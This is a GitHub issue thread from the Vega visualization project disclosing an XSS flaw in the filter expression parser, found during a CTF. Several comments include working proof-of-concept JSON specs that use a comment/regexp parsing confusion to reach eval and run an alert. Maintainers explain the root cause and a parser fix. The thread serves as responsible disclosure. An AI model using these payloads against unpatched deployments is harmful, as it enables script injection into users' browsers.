Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS in transform filter #3018

Closed
nename0 opened this issue Dec 21, 2020 · 6 comments · Fixed by #3019
Closed

XSS in transform filter #3018

nename0 opened this issue Dec 21, 2020 · 6 comments · Fixed by #3019
Labels
bug For bugs or other software errors security Pull requests that address a security vulnerability

Comments

@nename0
Copy link

nename0 commented Dec 21, 2020

This was found during the hxp ctf.

Credit

@cgvwzq and his writeup

  • Describe how to reproduce the bug / the goal of the feature request:
    Paste the below JSON in the Vega Editor.
    Working demo.
    You will see a '1' alert dialog.
    To my understanding you should not be able to run arbitrary JS using vega-lite json, should you?
  • Provide an example spec in JSON, wrapped by triple backticks like this:
{
  "data": {
    "values": [{}]
  },
  "transform": [
    {"filter": "(0//1/)-'\\\n,alert(1))))//'"}
  ],
  "mark": "bar"
}
@domoritz
Copy link
Member

Thank you for the report and the simple reproduction. I am moving this issue to Vega.

@domoritz domoritz transferred this issue from vega/vega-lite Dec 21, 2020
@domoritz domoritz added bug For bugs or other software errors security Pull requests that address a security vulnerability labels Dec 21, 2020
@domoritz
Copy link
Member

Repro without Vega-Lite: Open the Chart in the Vega Editor

@jheer
Copy link
Member

jheer commented Dec 21, 2020

Here is a reproduction in Vega proper:

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "data": [
    {
      "name": "data",
      "values": [{}],
      "transform": [
        {"type": "filter", "expr": "(0//1/)-'\\\n,alert(1))))//'"}
      ]
    }
  ]
}

@cgvwzq
Copy link

cgvwzq commented Dec 21, 2020

I found this in a black-box manner, but I guess the issue should be in https://github.com/vega/vega-expression?

The parser sees a 0 divided by a regexp, while JS treats it as a 0 followed by a comment. Since the resulting parsed expression is passed to eval, we have arbitrary code execution.

@domoritz
Copy link
Member

The issue also exists in Vega 2.

{
  "data": [
    {
      "name": "data",
      "values": [{}],
      "transform": [
        {"type": "filter", "test": "(0//1/)-'\\\n,alert(1))))//'"}
      ]
    }
  ]
}

(try at https://vega.github.io/vega-editor/?mode=vega)

@jheer
Copy link
Member

jheer commented Dec 21, 2020

The error stemmed from the removal of comments from our parser, which opened the door to seeing "division by a regexp" instead. PR #3019 updates the parser to instead throw when a single-line comment // is encountered, which is the intended design.

@jheer jheer mentioned this issue Dec 21, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug For bugs or other software errors security Pull requests that address a security vulnerability
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants